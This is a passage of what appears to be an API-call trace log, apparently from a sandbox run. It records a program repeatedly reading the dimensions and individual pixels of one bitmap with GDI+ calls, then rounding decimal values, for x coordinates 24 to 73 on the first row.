	[0073.340] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=24, y=0, color=0x1c69c760) returned 0x0
	[0073.340] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.341] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.341] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.341] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.341] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=25, y=0, color=0x1c69c760) returned 0x0
	[0073.341] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.341] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.341] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.341] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.341] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=26, y=0, color=0x1c69c760) returned 0x0
	[0073.341] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.341] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.342] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.342] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.342] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=27, y=0, color=0x1c69c760) returned 0x0
	[0073.342] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.342] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.342] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.342] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.342] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=28, y=0, color=0x1c69c760) returned 0x0
	[0073.343] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.343] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.343] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.343] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.343] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=29, y=0, color=0x1c69c760) returned 0x0
	[0073.343] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.343] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.343] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.343] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.343] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=30, y=0, color=0x1c69c760) returned 0x0
	[0073.343] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.343] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.343] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.343] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.343] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=31, y=0, color=0x1c69c760) returned 0x0
	[0073.344] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.344] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.344] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.344] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.344] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=32, y=0, color=0x1c69c760) returned 0x0
	[0073.344] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.344] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.344] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.344] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.344] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=33, y=0, color=0x1c69c760) returned 0x0
	[0073.344] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.344] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.344] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.345] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.345] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=34, y=0, color=0x1c69c760) returned 0x0
	[0073.345] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.345] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.345] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.345] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.345] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=35, y=0, color=0x1c69c760) returned 0x0
	[0073.345] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.345] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.345] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.345] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.345] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=36, y=0, color=0x1c69c760) returned 0x0
	[0073.345] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.345] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.346] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.346] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.346] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=37, y=0, color=0x1c69c760) returned 0x0
	[0073.346] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.346] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.346] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.346] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.346] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=38, y=0, color=0x1c69c760) returned 0x0
	[0073.346] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.346] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.346] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.346] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.346] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=39, y=0, color=0x1c69c760) returned 0x0
	[0073.346] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.346] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.347] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.347] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.347] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=40, y=0, color=0x1c69c760) returned 0x0
	[0073.347] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.347] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.347] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.347] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.347] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=41, y=0, color=0x1c69c760) returned 0x0
	[0073.347] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.347] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.347] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.347] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.347] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=42, y=0, color=0x1c69c760) returned 0x0
	[0073.347] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.348] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.348] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.348] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.348] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=43, y=0, color=0x1c69c760) returned 0x0
	[0073.348] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.348] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.348] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.348] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.348] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=44, y=0, color=0x1c69c760) returned 0x0
	[0073.348] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.348] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.348] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.348] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.348] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=45, y=0, color=0x1c69c760) returned 0x0
	[0073.348] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.349] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.349] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.349] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.349] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=46, y=0, color=0x1c69c760) returned 0x0
	[0073.349] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.349] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.349] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.349] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.349] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=47, y=0, color=0x1c69c760) returned 0x0
	[0073.349] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.349] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.349] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.349] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.349] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=48, y=0, color=0x1c69c760) returned 0x0
	[0073.350] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.350] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.350] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.350] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.350] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=49, y=0, color=0x1c69c760) returned 0x0
	[0073.350] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.350] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.350] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.350] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.350] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=50, y=0, color=0x1c69c760) returned 0x0
	[0073.350] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.350] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.350] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.350] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.351] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=51, y=0, color=0x1c69c760) returned 0x0
	[0073.351] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.351] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.351] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.351] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.351] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=52, y=0, color=0x1c69c760) returned 0x0
	[0073.351] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.351] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.351] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.351] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.351] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=53, y=0, color=0x1c69c760) returned 0x0
	[0073.351] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.352] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.352] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.352] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.352] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=54, y=0, color=0x1c69c760) returned 0x0
	[0073.352] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.352] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.353] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.353] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.353] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=55, y=0, color=0x1c69c760) returned 0x0
	[0073.353] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.353] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.353] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.353] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.353] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=56, y=0, color=0x1c69c760) returned 0x0
	[0073.353] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.353] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.353] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.353] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.353] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=57, y=0, color=0x1c69c760) returned 0x0
	[0073.353] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.353] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.353] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.354] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.354] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=58, y=0, color=0x1c69c760) returned 0x0
	[0073.354] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.354] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.354] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.354] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.354] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=59, y=0, color=0x1c69c760) returned 0x0
	[0073.354] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.354] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.354] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.354] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.354] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=60, y=0, color=0x1c69c760) returned 0x0
	[0073.354] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.354] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.354] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.354] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.354] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=61, y=0, color=0x1c69c760) returned 0x0
	[0073.355] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.355] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.355] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.355] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.355] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=62, y=0, color=0x1c69c760) returned 0x0
	[0073.355] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.355] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.355] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.355] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.355] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=63, y=0, color=0x1c69c760) returned 0x0
	[0073.355] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.355] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.355] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.355] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.355] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=64, y=0, color=0x1c69c760) returned 0x0
	[0073.356] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.356] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.356] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.356] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.356] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=65, y=0, color=0x1c69c760) returned 0x0
	[0073.356] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.356] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.356] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.356] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.356] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=66, y=0, color=0x1c69c760) returned 0x0
	[0073.356] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.356] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.356] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.356] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.356] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=67, y=0, color=0x1c69c760) returned 0x0
	[0073.357] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.357] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.357] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.357] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.357] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=68, y=0, color=0x1c69c760) returned 0x0
	[0073.357] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.357] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.357] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.357] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.357] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=69, y=0, color=0x1c69c760) returned 0x0
	[0073.357] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.357] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.357] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.357] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.357] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=70, y=0, color=0x1c69c760) returned 0x0
	[0073.357] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.358] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.358] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.358] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.358] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=71, y=0, color=0x1c69c760) returned 0x0
	[0073.358] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.358] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.358] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.358] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.358] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=72, y=0, color=0x1c69c760) returned 0x0
	[0073.358] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.358] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.358] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.358] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.359] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=73, y=0, color=0x1c69c760) returned 0x0
	[0073.359] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
